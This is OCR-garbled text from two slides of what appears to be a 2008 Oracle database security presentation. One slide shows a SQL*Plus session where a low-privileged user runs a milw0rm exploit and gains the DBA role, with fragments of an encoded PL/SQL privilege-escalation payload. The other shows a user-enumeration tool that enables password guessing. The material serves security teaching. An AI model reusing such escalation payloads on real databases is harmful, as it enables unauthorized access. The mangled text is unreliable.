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👷 Oracle SQL*Plus			_O×
File Edit Search Options Help			
SQL> sho user JSER is "SCOTT" SQL> @10g_exploit	http://www.m	ilw0rm.com/exploits/457	<u>'2</u>
JSERNAHE	GRANTED_ROLE	ADM DEF OS_	
SCOTT SCOTT SCOTT	APP_ROLE Connect Resource	NO YES NO NO YES NO NO YES NO NO YES NO	
PL/SQL procedure success	Fully completed.		
JSERNAME	GRANTED_ROLE	ADM DEF OS_	
SCOTT	APP_ROLE	NO YES NO	
SCOTT SCOTT	CONNECT DBA	NO YES NO NO YES NO	
SCOTT	RESOURCE	NO YES NO	
SQL>			_

prive: FEN_CURSOR: utl_encode.text_decode(
0b25vbW91c190cnFuc2FjdGlvbjsgYnVnaW4gZXhlY3V0ZSB	apbwilzglhdgugJodsQu5UIERCQSBUTy
	gl.execute(' c2gya2Vy ')
privs;	
	ERISONSSEY', UTL_BACCEE_BACK4().0; VIZMWHEB b1sZC01IDop.UIVILAUNOFOZKIP'' (dbwg. _prive:

















	User Enumeration	
🖬 C:\WINDOWS\system		. D ×
	on_ltd\presentations\tools\oak> on_ltd\presentations\tools\oak>on_userenun 127.0.0.1 1522 From http://www.databasesecurity.com/dbsec/OAK.zip SYS and SYSTEM always exist so passwords guesses can be attempted Other users can "almost" certainly be there as well – DBSNMP for instance	
C:\pete_finnigan_c	on_ltd\presentations\tools\oak>	
25/04/2008	Copyright (c) 2008 PeteFinnigan.com Limited	20











































